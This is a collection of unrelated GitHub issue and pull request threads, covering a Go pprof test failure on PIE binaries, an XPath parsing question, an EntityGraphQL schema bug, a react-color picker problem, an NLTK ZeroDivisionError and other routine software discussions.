runtime: TestCgoPprof fails on Ubuntu 16.10

Please answer these questions before submitting your issue. Thanks!

What version of Go are you using (go version)?

go version devel +495e3c6 Tue May 17 04:02:11 2016 +0000 linux/amd64

What operating system and processor architecture are you using (go env)?

Ubuntu 16.10

What did you do?

go test runtime -run TestCgoPprof

What did you expect to see?

ok      runtime 1.061s

What did you see instead?

--- FAIL: TestCgoPprof (1.06s)
    crash_cgo_test.go:260: 20ms of 20ms total (  100%)
              flat  flat%   sum%        cum   cum%
              20ms   100%   100%       20ms   100%  [testprogcgo.exe]
    crash_cgo_test.go:263: missing cpuHog in pprof output
FAIL
FAIL    runtime 1.068s

Not really at all sure what's going on here. Ubuntu 16.10 has a very new toolchain, so that might be the difference?

The test assumes that cmd/pprof can decode the debug info of the executable, to map the PC valeu to the name cpuHog.  What does that debug info look like?

I'm no expert at DWARF, but it looks OK to me?
(gdb) disassemble cpuHog+10
Dump of assembler code for function cpuHog:
   0x0000000000109703 <+0>:	push   %rbp
   0x0000000000109704 <+1>:	mov    %rsp,%rbp
   0x0000000000109707 <+4>:	lea    0x2c722a(%rip),%rax        # 0x3d0938 <salt1>
   0x000000000010970e <+11>:	mov    (%rax),%eax
   0x0000000000109710 <+13>:	mov    %eax,-0x8(%rbp)
   0x0000000000109713 <+16>:	movl   $0x0,-0x4(%rbp)
   0x000000000010971a <+23>:	jmp    0x109741 <cpuHog+62>
   0x000000000010971c <+25>:	cmpl   $0x0,-0x8(%rbp)
   0x0000000000109720 <+29>:	jle    0x10972e <cpuHog+43>
   0x0000000000109722 <+31>:	mov    -0x8(%rbp),%eax
   0x0000000000109725 <+34>:	imul   -0x8(%rbp),%eax
   0x0000000000109729 <+38>:	mov    %eax,-0x8(%rbp)
   0x000000000010972c <+41>:	jmp    0x10973d <cpuHog+58>
   0x000000000010972e <+43>:	mov    -0x8(%rbp),%eax
   0x0000000000109731 <+46>:	lea    0x1(%rax),%edx
   0x0000000000109734 <+49>:	mov    -0x8(%rbp),%eax
   0x0000000000109737 <+52>:	imul   %edx,%eax
   0x000000000010973a <+55>:	mov    %eax,-0x8(%rbp)
   0x000000000010973d <+58>:	addl   $0x1,-0x4(%rbp)
   0x0000000000109741 <+62>:	cmpl   $0x1869f,-0x4(%rbp)
   0x0000000000109748 <+69>:	jle    0x10971c <cpuHog+25>
   0x000000000010974a <+71>:	lea    0x2c71c7(%rip),%rax        # 0x3d0918 <salt2>
   0x0000000000109751 <+78>:	mov    -0x8(%rbp),%edx
   0x0000000000109754 <+81>:	mov    %edx,(%rax)
   0x0000000000109756 <+83>:	nop
   0x0000000000109757 <+84>:	pop    %rbp
   0x0000000000109758 <+85>:	retq
End of assembler dump.

I've uploaded the file here: http://people.canonical.com/~mwh/testprogcgo if you want a look.
Building testprogcgo on 16.10, copying it to 16.04, running and looking at the profile there doesn't work. More surprisingly, building it on 16.04, copying to 16.10, running and looking at the profile there doesn't work, but then building it on 16.04, running it there and then copying the binary and profile to 16.10 also doesn't work, so maybe there is more than one problem here.

Can you also upload the profile file?

I got confused about my executables so I built another one, made a profile,
and uploaded both to http://people.canonical.com/~mwh/issue-15714/
On 19 May 2016 at 02:17, Ian Lance Taylor<EMAIL_ADDRESS>wrote:

Can you also upload the profile file?
—
You are receiving this because you authored the thread.
Reply to this email directly or view it on GitHub
https://github.com/golang/go/issues/15714#issuecomment-220039920

@ianlancetaylor Have you had a chance to look at the uploaded profile? Is this a 1.7 blocker since it (doesn't seem to be) our regression?

I looked now.  The problem is that the binary was linked as a PIE.  The profiling data records the PC values for the executable as it was run, which have nothing to do with the addresses in the binary itself.  For this to work the pprof tool needs to know the base address of the executable when it is run.  Or, the profiler needs to record PC values as an offset from the load address.  This must be a known problem but off hand I don't know what the usual solution is.
@mwhudson For 1.7 do you want to try changing  buildTestProg to pass -extldflags=-fno-pie?  Unfortunately we can't do that unconditionally, we can only do it if it works.

Switching to the new profile format might help but that's not going to happen for Go 1.7. Is there some way to know that we're running a PIE binary? The runtime could subtract the base addresses from the profile, maybe.

I'll try fixing the test, but it'll be Monday next week before I get to it.
There's only two copies of the "is -no-pie accepted" in the code, must be
room for one more...
I don't know how to find the base address for the binary off the top of my
head.
On 27 May 2016 at 13:57, Russ Cox<EMAIL_ADDRESS>wrote:

Switching to the new profile format might help but that's not going to
happen for Go 1.7. Is there some way to know that we're running a PIE
binary? The runtime could subtract the base addresses from the profile,
maybe.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/golang/go/issues/15714#issuecomment-222042000, or mute
the thread
https://github.com/notifications/unsubscribe/AApBFjDV9XR9C8-idTkEX864KtuS7I4zks5qFk-YgaJpZM4If7q5
.

You could elf.Open /proc/self/exe, look up a variable in the symbol table, and subtract the value in the symbol table from the actual address of the variable.  Doesn't sound like 1.7  material to me.

Keeping the issue at 1.7maybe in hopes of fixing the test.

Which of these cases is true?

On Ubuntu 16.10, Go profiling is broken only for program linked with the host linker and an explicit buildmode flag overriding the default build mode (or some other kind of explicit flag).
On Ubuntu 16.10, Go profiling is broken by default for every program linked with the host linker (so any program using cgo outside the standard library).

If its (1), no big deal, it can wait for Go 1.8. If it's (2) and there is an easy fix, that seems more serious. I was reading the original report as if (2) were the case; maybe I misunderstood.
I will leave the 1.7 decision to @ianlancetaylor since I am about to go away for the summer.

@mwhudson Can you see if https://golang.org/cl/23525 fixes the problem?

Fails here at the same test with archlinux at tip, 23525 fixes this for me.
ok      runtime 12.990s
ok      runtime/debug   0.057s
ok      runtime/internal/atomic 0.159s
ok      runtime/internal/sys    0.002s
ok      runtime/pprof   1.303s
ok      runtime/trace   2.529s

Recently, I encountered this problem again, when I tried to build Go from source on my Ubuntu VM:
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04.1 LTS
Release:	16.04
Codename:	xenial

Go version used:
go version devel +4cffe2b Sun Jan 29 23:31:20 2017 +0000 linux/amd64
Bootstrapped with:
go version go1.8rc3 linux/amd64
So far I have seen three subtly different ways in which tests failed: first, second and third one.
Here are binaries and corresponding profiles.
I ran all.bash several times and it failed consistently. Looks like those tests are somewhat flaky.

@codesenberg, commenting on closed issues is not effective: we don't track closed issues. If you want somebody to look at it, file a new bug.

@bradfitz got it.


Error parsing legal xpath

When running the following code snippet (using node.js)
xpath = require("xpath");

xpath.parse('//text()[..[true()]]')

I get this error:
<redacted>/node_modules/xpath/xpath.js:1278
                    throw new Error("XPath parse error");
                    ^

Error: XPath parse error
    at XPathParser.parse (<redacted>/node_modules/xpath/xpath.js:1278:27)
    at Object.parse (<redacted>/node_modules/xpath/xpath.js:4738:33)
    at Object.<anonymous> (<redacted>/mwe.js:3:7)
    at Module._compile (internal/modules/cjs/loader.js:999:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:1027:10)
    at Module.load (internal/modules/cjs/loader.js:863:32)
    at Function.Module._load (internal/modules/cjs/loader.js:708:14)
    at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:60:12)
    at internal/main/run_main_module.js:17:47

It seems like adding a constraint to the parent selector causes a parsing error.
This xpath does not throw and error: //text()[parent::*[true()]] and neither does //text()[..].
The problematic xpath works when used in an xpath playground.

That is not a legal XPath 1.0 expression. You cannot place a predicate directly after an abbreviated self or parent step in XPath 1.0. Explanation
The following is a valid alternative:
//text()[(..)[true()]]

However, I would question why you are trying to use that expression, if it's not purely used for example purposes. Both the .. and the [true()] seem to be redundant.

Thanks! I indeed tried to create a minimum working example and agree this is quite a weird query :)


Ensure that for each nuspec file we have set upper boundary for dependencies

We should ensure that for each dependency in our nuspec files the upper bound is set. For instance, if we support xunit2, we should check that our dependency is following: [2.0, 3.0), rather than simple 2.0.
That is to ensure that library will not become broken after our dependency releases a new major version.

After thinking more about this I'm not sure whether the cap should be present. If we don't update the particular library in time, it will be unavailable. On other hand, people will not install the AF when compatibility wasn't explicitly tested, so it will be clear that it's not supported yet..
@AutoFixture/core Guys, what do you think about this one?

I don't see why not 👍
Some dependencies, however, do work even after releasing a major version. Take Moq as an example, where AFAICT we depend on Moq 3 but I'm pretty sure AutoFixture.AutoMoq works also with Moq 4+.
I think it's safer though to set an upper bound limit.

In this case, I'd suggest us to follow the next approach:

Set upper limit to all the external components we use. Usually that are the testing frameworks for our glue libraries.
For each supported version of library (e.g. Moq 2, Moq 3) add a test project like that is done here.

With such approach we will ensure that we always have tests for the particular version of dependency and if we guarantee that it works.

1. is fine by me 👍
2. might need maintenance  in the long run

I'm voting, for now, only for 1., I'd hold 2. unless @AutoFixture/core has a different opinion.

Agreed.  Vote for 1, hold on 2. 👍

Fine, agreed with 1 👍
@moodmosaic Could you clarify which exact maintenance dept you mean? The idea was that we create an empty project which imports all the *.cs files from the base test project. The only difference will be the newer package dependencies. If later you want to modify any particular test body, we'll need to modify it in a single place only.
If we don't have such tests - how can we be sure that we support each particular dependency version and it works? :worried:

@zvirja,

The idea was that we create an empty project which imports all the *.cs files from the base test project. The only difference will be the newer package dependencies.

This works as long as the base test project uses Semantic Versioning, and with the hope that a major version won't have breaking changes (?)
I don't think it's worth the effort... It was an ad-hoc case the one for AutoFixture.AutoFakeItEasy2, so perhaps we should invoke the rule of three and wait.

Done!


Return multiple entities from mutation?

Thanks for resolving #50 so fast!
But now i have a new issue.
I have the following mutation:
[GraphQLMutation]
public async Task<Expression<Func<DatabaseContext, IQueryable<Device>>>> ScanForDevices(Empty parameters, IJobManager jobManager)
{
	var ids = await jobManager.StartWaitAsync<IEnumerable<int>, IDetectDeviceCommand>(ddc => ddc.ScanAsync()).ConfigureAwait(false);
	return ctx => ctx.Devices.Where(x => ids.Contains(x.Id));
}

Where i try to return multiple Devices, but the schema only seems to indicate that i want to return 1.
{
  "name": "scanForDevices",
  "description": null,
  "args": [],
  "type": {
	"kind": "OBJECT",
	"name": "Device",
	"ofType": null
  },
  "isDeprecated": false,
  "deprecationReason": null
},

I guess my expected output is: (If this is valid GraphQL)
{
  "name": "scanForDevices",
  "description": null,
  "args": [],
  "type": {
	"kind": "LIST",
	"name": null,
	"ofType": {
	  "kind": "OBJECT",
	  "name": "Device",
	  "ofType": null
	}
  },
  "isDeprecated": false,
  "deprecationReason": null
},

If you run the query what results do you get? You're looking at the schema introspection, which is generated incorrectly. But if you ignore that an execute that mutation for Postman or something do you get an array of Devices as a result?
Also for more information can your mutation to use IEnumerable and tell me if that changes the introspection?
public async Task<Expression<Func<DatabaseContext, IEnumerable<Device>>>> ScanForDevices(Empty parameters, IJobManager jobManager)

Also the parameters should be (DatabaseContext db, Empty parameters, ...services) Assume you just missed typed?

As i didn't use DatabaseContext db i removed it, but i can add it back.
But when executed i get the following error:
{
  "errors": [],
  "data": {
    "scanForDevices": [
      {
        "id": 14
      },
      {
        "id": 15
      }
    ]
  }
}

That’s not an error? It returns data. Sorry am I missing something?

From: Peter<EMAIL_ADDRESS>Sent: Wednesday, May 27, 2020 9:42:23 PM
To: lukemurray/EntityGraphQL<EMAIL_ADDRESS>Cc: Luke Murray<EMAIL_ADDRESS>Comment<EMAIL_ADDRESS>Subject: Re: [lukemurray/EntityGraphQL] Return multiple entities from mutation? (#52)
As i didn't use DatabaseContext db i removed it, but i can add it back.
But when executed i get the following error:
{
"errors": [],
"data": {
"scanForDevices": [
{
"id": 14
},
{
"id": 15
}
]
}
}
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHubhttps://github.com/lukemurray/EntityGraphQL/issues/52#issuecomment-634604843, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AABGHUP7YRXUXHPRQBKKMGDRTT4B7ANCNFSM4NL55RDQ.

Sorry, no its not a error.
Correct me if I'm wrong, but the result returned does not match the schema generated?
The schema says it will return one instance and the result is a array?

Yep. You have found a bug in the way it generates the introspection schema.
This schema doesn’t effect how queries are executed. If effects how other tools might think about the schema. This will need to be fix.

From: Peter<EMAIL_ADDRESS>Sent: Thursday, May 28, 2020 12:49:40 AM
To: lukemurray/EntityGraphQL<EMAIL_ADDRESS>Cc: Luke Murray<EMAIL_ADDRESS>Comment<EMAIL_ADDRESS>Subject: Re: [lukemurray/EntityGraphQL] Return multiple entities from mutation? (#52)
Sorry, no its not a error.
Correct me if I'm wrong, but the result returned does not match the schema generated?
The schema says it will return one instance and the result is a array?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHubhttps://github.com/lukemurray/EntityGraphQL/issues/52#issuecomment-634713412, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AABGHUIYK4Q2IYBWMATBIKDRTUSAJANCNFSM4NL55RDQ.

I could try to fix this issue, to contribute a little!

And if you change the IQueryable in your mutation return type to IEnumerable does the introspection schema get generates correctly it still the same?

The IQueryable is correctly identified by IsEnumerableOrArray.
But the MutationType does not seem to store the original type, instead it just stores the type that is in the collection.
https://github.com/lukemurray/EntityGraphQL/blob/b9293e3898709eb0487c5d6f0ef72487310f77dc/src/EntityGraphQL/Schema/SchemaProvider.cs#L515
https://github.com/lukemurray/EntityGraphQL/blob/b9293e3898709eb0487c5d6f0ef72487310f77dc/src/EntityGraphQL/Schema/SchemaProvider.cs#L167
Contains the logic that throws away the information that its a EnumerableOrArray, the GetSchemaTypeNameForClrType method is used in 8 places so i don't know if i dare change it.

Having a look at this now, it seems along the way I have mixed a few things. 1. needing to know the singular type e.g. Movie[] -> Movie for things like looking up fields on Movie and knowing the actual type e.g. Movie[]. Going to try to clean this up

Hi, after a bunch of refactoring to better hold the type information this should be fixed.
See version 0.63.0-beta1. I'd love to know if you find any issues before I take it out of beta as a bunch has changed - see changelog

The metadata is correct, but now i get Could not find extension method Select on types System.Linq.Queryable when returning a IQueryable.
I tried to change from Task<Expression<Func<DatabaseContext, IQueryable<Sensor>>>> to Task<Expression<Func<DatabaseContext, IEnumerable<Sensor>>>> same error.
Even tried to add .AsEnumerable() but then i get Could not find extension method Select on types System.Linq.Enumerable (Also I'm guessing this executes the query.)

Any chance you are able to modify the demo project to reproduce this?

From: Peter<EMAIL_ADDRESS>Sent: Thursday, June 4, 2020 3:13:08 AM
To: lukemurray/EntityGraphQL<EMAIL_ADDRESS>Cc: Luke Murray<EMAIL_ADDRESS>Comment<EMAIL_ADDRESS>Subject: Re: [lukemurray/EntityGraphQL] Return multiple entities from mutation? (#52)
The metadata is correct, but now i get Could not find extension method Select on types System.Linq.Queryable when returning a IQueryable.
I tried to change from Task<Expression<Func<DatabaseContext, IQueryable>>> to Task<Expression<Func<DatabaseContext, IEnumerable>>> same error.
Even tried to add .AsEnumerable() but then i get Could not find extension method Select on types System.Linq.Enumerable (Also I'm guessing this executes the query.)
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHubhttps://github.com/lukemurray/EntityGraphQL/issues/52#issuecomment-638333755, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AABGHUJH5WMBBPWWGEHO6JDRU2ACJANCNFSM4NL55RDQ.

Just run AddActor2 and it happens

Pushed a fix for this. beta3 too.

Thanks for your fast work, this works as intended! (Verified both the demo project and my own project)

Dam your fast! :)
Den tors 4 juni 2020 kl 10:24 skrev Luke Murray<EMAIL_ADDRESS>
Pushed a fix for this. beta3 too.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/lukemurray/EntityGraphQL/issues/52#issuecomment-638692660,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAJ7NFNJVONOPSBTKM4HIZ3RU5K3DANCNFSM4NL55RDQ
.

--
http://www.wwf.se/wwf-marinfadder/


Code Refactor

Refactoring techniques like
Introduce explaining variable, Extract Method, Extract Class, Decompose Condition, Pull down method, Replace conditional with polymorphism was applied for code re-usability and code readability

Please stop opening new PRs every single time you make a code change. Just put the PR in draft and push more commits to your branch.


Upgrade liberty-mongodb

upgrade liberty-mongodb module to use the org.eclipse.jnosql.databases
@otaviojava you can make a code review, please?

Ref: https://github.com/eclipse/jnosql/issues/365


[KYUUBI #3875] Filter out kyuubi.metadata.store.* configurations in e…

…ngine process builder

Why are the changes needed?

How was this patch tested?

[ ] Add some test cases that check the changes thoroughly including negative and positive cases if possible

[x] Add screenshots for manual tests if appropriate

[ ] Run test locally before make a pull request

Before modification:

After modification:

Codecov Report

Merging #3879 (152184c) into master (a30fdde) will increase coverage by 0.01%.
The diff coverage is 100.00%.

:exclamation: Current head 152184c differs from pull request most recent head 4ce01ab. Consider uploading reports for the commit 4ce01ab to get more accurate results

@@             Coverage Diff              @@
##             master    #3879      +/-   ##
============================================
+ Coverage     51.73%   51.74%   +0.01%
  Complexity       13       13
============================================
  Files           504      504
  Lines         28861    28865       +4
  Branches       3975     3975
============================================
+ Hits          14931    14936       +5
  Misses        12515    12515
+ Partials       1415     1414       -1

Impacted Files
Coverage Δ

...in/scala/org/apache/kyuubi/config/KyuubiConf.scala
97.43% <100.00%> (-0.07%)
:arrow_down:

...ain/scala/org/apache/kyuubi/engine/EngineRef.scala
74.24% <100.00%> (+0.39%)
:arrow_up:

...n/scala/org/apache/kyuubi/engine/ProcBuilder.scala
80.74% <0.00%> (-0.63%)
:arrow_down:

...apache/kyuubi/engine/JpsApplicationOperation.scala
77.41% <0.00%> (ø)

...yuubi/server/metadata/jdbc/JDBCMetadataStore.scala
89.96% <0.00%> (+0.69%)
:arrow_up:

...rg/apache/kyuubi/ctl/cmd/log/LogBatchCommand.scala
65.57% <0.00%> (+1.63%)
:arrow_up:

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more

Thanks, merging to master


Patch 2

Hey, I'm getting skipped=2 test cases in my last commit. What should I do to remove it?

@cherub96 It's actually expected, so no problem with that - the test suite is passing with the green checkmark now that no test cases are resulting in FAIL or unexpected success.
If you want to see which test cases are being skipped, you can look at the Travis CI build log and search for skipped. The specific test case is marked with @skip; you can remove that and then run the test to see what is the expected output.

@cflee , my last commit shows a red cross, there are no FAIL or unexpected success test cases but it have 2 skipped cases.
This is what it shows in Travis CI
test_unpack_sequence_overflow (tests.structures.test_sequences.SequenceTests) ... skipped 'Feature not yet implemented'
test_unpack_sequence_underflow (tests.structures.test_sequences.SequenceTests) ... skipped 'Feature not yet implemented'

@cherub96 I'm not sure which commit that is. Could you put a link to the Travis CI build that has a red cross?

The commit 6f09383

Okay, got it :). Thanks @cflee.


Update to React 16

@deadcoder0904 that will be a tough one, because animated has to update. There's a PR waiting in their repo that does it, but it hasn't been merged yet.
In the meantime animated can also be aliased to react-dom-animated (https://github.com/viewsdx/react-dom-animated), which would probably fix it.

Thanks @drcmda
One question thought, why is this repo using React Internals. Can this package be implemented without using React Internals?
I happened to know when I tried converting this to Preact & Inferno using preact-compat & inferno-compat respectively.
Also 1 strange behaviour, checkout http://weekly-plans.surge.sh/ where I'm using this package & when I open Chrome DevTools when I'm seeing the image & if I try decreasing or increasing the size of Chrome DevTools, the image disappears. Idk why this is happening.
Of course nobody when viewing the website in production will open Chrome DevTools but its annoying to refresh page while developing

@deadcoder0904 Aliasing worked, i updated readme.md on the frontpage.
animated is developed by Facebook, it is the official way to animate in react-native, but works for the web as well. It is an amazing library thats faster, smaller and easier to use than for instance react-motion and so on. There's hope i'll be updated - but if it isn't i would use react-motion, but i'd like to avoid it because of drastic performance regressions and larger code.

@deadcoder0904 nevermind, it works now, just yarn upgrade react-springy-parallax

As for the other bug, i can't reproduce in the demo, if you open up console there and move it around, nothing bad happens. Do you use anything special, like SSR?

Here is the GIF

Latest Animated has now been updated to work with React v16.

@browniefed thanks so much!

I didn't do anything, it was all @lelandrichardson


Adds BasicTemplateOptionsPriceModel

Description
Show how to define an options price model and the available options. Tests whether the options contracts have a valid (non-zero) Greeks.Delta
Related Issue
N/A
Motivation and Context
We need a clear/dedicated example of how to select options price model.
Requires Documentation Change
Yes. Add a section about Options Price Model.
How Has This Been Tested?
QuantConnect Cloud.
Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] Refactor (non-breaking change which improves implementation)
[ ] Performance (non-breaking change which improves performance. Please add associated performance test and results)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] Non-functional change (xml comments/documentation/etc)

Checklist:

[x] My code follows the code style of this project.
[x] I have read the CONTRIBUTING document.
[x] All new and existing tests passed.
[x] My branch follows the naming convention bug-<issue#>-<description> or feature-<issue#>-<description>

Thank you @AlexCatarino


Correctly parse HTML in the Speaker Detail Activity

Actual Behaviour

Expected Behaviour
Description of the talk should be formatted properly

@the-dagger can I send the PR? :)

Cool, go ahead. :+1:

@the-dagger In code we've already used this method Html.fromHtml() but it's not parsing the HTML correctly. Can I use JSOUP library?

http://stackoverflow.com/a/2116191/5471095
This isn't working?
There is a different way to do it on post nougat devices, so you might want to take a look at that.

if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.N) {             result = Html.fromHtml(session.getDescription(), Html.FROM_HTML_MODE_LEGACY);         } else {             result = Html.fromHtml(session.getDescription());         }         descrip.setText(result);
Snippet from the code without any changes, still not working.

Please close this issue.


Mute button doesn't work like unmute

Description
Mute button works only once and doesn't unmute the track.
When the track starts playing and I click "mute" button everything works well and the sound fades. But when I click this button in second time and want to unmute the track - it doesn't work.
I propose to add "toggle" functionality to the mute button, like it works, for example, on YouTube (that one click mute the video/audio and second unmute it).

ok, i'm will optimize it

fixed.


Error handling and response decoding

There are two things we can handle:

Http errors, bad responses, which is probably handled by the adapter and returned as a unified error
Validate the returned data. If the returned data contains error message, throw a Provider exception, otherwise invalid data.

I would say let Concise fail when some sort of adapter/http issue occurs and only handle invalid/faulty data. Or we can handle all errors (exceptions) and say we can have Unknown, Provider, and Invalid data exceptions.
@toin0u What do you think? This is rather related to API usage which you have more experience in than me.

I think it's important to catch exceptions and re-throws them in the Concise context. It will provide better error messages. I'll work on this :)

Yeah, I agree that the exceptions should be handled in there. But it is still a question, what sort of errors and how we handle them.
Looking forward to your solution ;)

@toin0u any progress?

The way how responses are decoded should be part of this. For example if a JSON response is returned, and it is decoded to an object, it should be checked if the appropriate properties exist.  It's in my todo list :)
I agree with your comment but why do you prefer JSON decoded to array ?

json_decode('<json>', true)

Yes :) but why do you prefer to json_decode('<json>') ?

That's just a replacement for a JSON data object. Or do you mean why I
prefer JSON for REST API?

Sorry my bad. I was wondering why do you prefer to convert the JSON into an associative array by doing json_decode('<json>', true) instead of using the stdClass got with json_decode('<json>') :)

Array is just a bunch of data with an optional structure. Objects are a bit more, a higher level. So I tend to keep these kind of data in arrays.

I completely forgot to work on that.. Sorry for that @sagikazarmark x_X

No problem. Does that mean you are not intended to work on it anymore?

No no :) I just need to postpone it later on..


Vulnerability roundup 85: mpg321-0.3.2: 1 advisory [5.5]

search, files

[ ] CVE-2019-14247 CVSSv3=5.5 (nixos-20.03, nixos-unstable)

Scanned versions: nixos-20.03: a84b797b28e; nixos-unstable: 22c98819ccd. May contain false positives.
Cc @rycee

I believe the mpg321 package in release-20.03 and master are unaffected by this since it is already patched with Debian's handle_illegal_bitrate_value.patch which should resolve the issue, see https://security-tracker.debian.org/tracker/CVE-2019-14247.


Install button for Opera not there?

Hello!
I'm on the dev channel (currently on 55.0.2962.0) and for a month or so, on two separate machines, I don't have the Install in Opera (or whatever it used to say) in the Google extension pages!
Any ideas on what to do?
Thanks!

On refresh button not show?
You try can use icon in URL bar if you no hidden.


Enable Collections Rail A/B test

HOLD for reaction updates to query cacheing

This has been updated to include the latest reaction changes, ready to merge when you are @xtina-starr


Option to clear history only once a day

Hi! I'd like to suggest to add an option to clear the history only once a day. I have idle length: 60, trigger mode: idle and it tries to clear history all the time. But only one launch per day is enough.

Closing because this has been possible since 1.5.0, with the Timer trigger mode.


Support running private models with community inference API

As a user it would be nice to use the inference API widgets for private models generated via one of the Docker images in api-inference-community.
Here's an example model repo and a screenshot of the widget message.

Related: #85 and https://github.com/huggingface/huggingface_hub/issues/85#issuecomment-857469661.
As far as I know, community libraries do not support private repos by design, but I don't see any very strong reason to not have private repos.


Add the errorLevel option

This option, if specified, indicates at which log level, and
below, logs should be printed to standard error instead of
standard output.

@cainus The CI appears to be failing after successfully running the unit tests.  I was wondering if you could give me some help in getting the CI to pass.  Thanks.

Hey Thanks! I appreciate the PR.  With that said, this logging library is meant to be for stdout only :)  There are other more full-featured ones ( https://github.com/trentm/node-bunyan , https://github.com/winstonjs/winston ) that probably do this better.
For this library I wanted all logs to go to stdout as much as possible (and the readme describes how to additionally ensure this) so I'd only have one place to look (especially since errors are generally the logs I value most).
If you'd rather just fork, that's possible too, but your change as it is kind of invalidates the entire point of this library and 90% of the readme content.   ;)

That makes sense.  Thanks for considering our PR.  The PR seemed a little different from the direction of your project but, since the change was small, I thought it was worth suggesting it to get your thoughts.

Also, I just wanted to let you know, when working on the PR, I noticed what looked like a possible typo in the tests.  Unless I'm mistaken, it looks like the titles of the allows log level to be specified, and doesn't log below that level and allows you to specify a log level of false to suppress all output tests are switched.  I just wanted to let you know.


Adding contributors sections in readme

Task
I would like to add contributors sections in readme
Type of Change

[ ] New feature
[ ] Feature update/enhancement
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[x] Documentation
[ ] Other: Please describe

Screenshot(s) (optional)

Hey, @nisha331  Thanks for raising the issue but a similar issue already has been opened, so kindly look for another issue.
Happy Coding 🎉🎉


Render list of posts for time period from URL segments

If I use the option to prefix the URL of the blog post with the date such as http://localhost:6200/archive/2017/07/01/my-custom-url
So if I hack the URL and remove it to
http://localhost:6200/archive/2017 I would expect a list of all posts that are posted in the same time range
Again if I do the same with any part of the URL such as month & the day too, in case multiple posts posted on a single day.
Alternatively this could redirect back up to the home or archive node

Have CC'd you @simonech as I see you created this feature and may have some feedback/input on this

@warrenbuckley  that is a totally brand new feature request and would take quite a bit of work actually. If we did that it would need to be supported for normal URLs and for DateTime URLs, we wouldn't want to only enable this specifically for when DateTime URLs are turned on.
Redirecting would be far easier for now.

Yeh after a quick skim last night at how is been implemented then yep realize now its fair bit of work, like you say a redirect would be best.


As an OHS admin I can view a list of all students with outstanding bills

... so that I can remind students of outstanding payments.

Closing, not within any milestone.


White circle indicator is not following the cursor when dragging the color

Hai, this is my first time using the component.
When I tried to import and use the component (without giving it any props), the white circle and the slider (hue & alpha) is not responding to my click-drag movement.
import React from 'react'
import { ChromePicker } from 'react-color'

class Color extends React.Component {
  render(){
    <ChromePicker />
  }
}

Then I tried to give it the props:
import React from 'react'
import { ChromePicker } from 'react-color'

class Color extends React.Component {
  state = {
    color: "#ffffff"
  }

  onChange = color => {
    console.log(color.hex)
    this.setState({
      color: color.hex
    })
  }

  render(){
    <ChromePicker
        color={this.state.color}
        onChange={this.onChange} />
  }
}

Then I found out:

When I just console.log the color.hex (without setState), the event actually works. It logging all color value when I click-drag around but the indicator just not following the cursor.

When I added the setState, the event is no longer working onChange (click-drag). It only works when I just click the color area and then the white circle is moved to that spot (I assume this is because of the color props)

I tested SketchPicker, PhotoshopPicker, and ChromePicker in create-react-app with React version "^16.13.1" and Chrome Version 83.0.4103.61.

I'm closing this issue since it is already resolved after quite some times debugging

hi rnwathon, I am experiencing the exact same problem. Can you explain what you did to resolve this issue?

Would have been nice if you posted the solution that worked for you.

@tiagocdr with the useState hook, you do something like this:
const [pickerColor, setPickerColor] = React.useState('#000000');

<ChromePicker
    color={pickerColor}
    onChange={color => {
      setPickerColor(color.hex);
    }}
  />


Add node script that executes our binary to appease yarn

Note: the additional __firestore-to-json binary is required for the binary to be marked as executable by yarn, otherwise we get EACCES errors.

did you chmod +x on the script?


fix: response object is a readable stream

Codecov Report

Merging #32 into master will increase coverage by 0.02%.
The diff coverage is 83.33%.

@@            Coverage Diff             @@
##           master      #32      +/-   ##
==========================================
+ Coverage   47.88%   47.91%   +0.02%
==========================================
  Files           1        1
  Lines         142      144       +2
  Branches       23       23
==========================================
+ Hits           68       69       +1
- Misses         74       75       +1

Impacted Files
Coverage Δ

src/index.ts
47.91% <83.33%> (+0.02%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 16eb009...3ef8547. Read the comment docs.


adding kanalictl to container

This PR adds the kanalictl binary to the container image so that the following is possible:
$ docker run northwesternmutual/hyperkanali:latest /kanalictl -h
Command line interface for Kanali.

Usage:
  kanalictl [command]

Available Commands:
  apikey      Preforms operations on API key resources
  help        Help about any command
  version     Version information

Flags:
  -h, --help   help for kanalictl

Use "kanalictl [command] --help" for more information about a command.

Coverage remained the same at 75.897% when pulling 3c90b5edf347947b5bfae0e906b034c3217802e1 on kanalictl-docker into ba1de27e515a0441005e0dd9d1cfce24ea3bb06f on master.


PunktTrainer fails with ZeroDivisionError on some text.

Running the following code will result in a ZeroDivisionError:
from nltk.tokenize.punkt import *
trainer = PunktTrainer()
trainer.train('1.\n2.\n3.')

Traceback:
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Users/ben/.virtualenvs/nltk/lib/python2.7/site-packages/nltk/tokenize/punkt.py", line 710, in train
    self.finalize_training(verbose)
  File "/Users/ben/.virtualenvs/nltk/lib/python2.7/site-packages/nltk/tokenize/punkt.py", line 797, in finalize_training
    for (typ1, typ2), ll in self._find_collocations():
  File "/Users/ben/.virtualenvs/nltk/lib/python2.7/site-packages/nltk/tokenize/punkt.py", line 1118, in _find_collocations
    col_count, self._type_fdist.N())
  File "/Users/ben/.virtualenvs/nltk/lib/python2.7/site-packages/nltk/tokenize/punkt.py", line 1058, in _col_log_likelihood
    p2 = 1.0 * (count_b - count_ab) / (N - count_a)
ZeroDivisionError: float division by zero

I've also run into a ValueError in _col_log_likelihood, when it attempted to do math.log(0).

@mrecachinas @bmurr is this fixed by #1247 ?

@alvations Correct. There should be no way to get a ZeroDivisionError or ValueError (for math.log(0)) with #1247.


chore: remove microshift

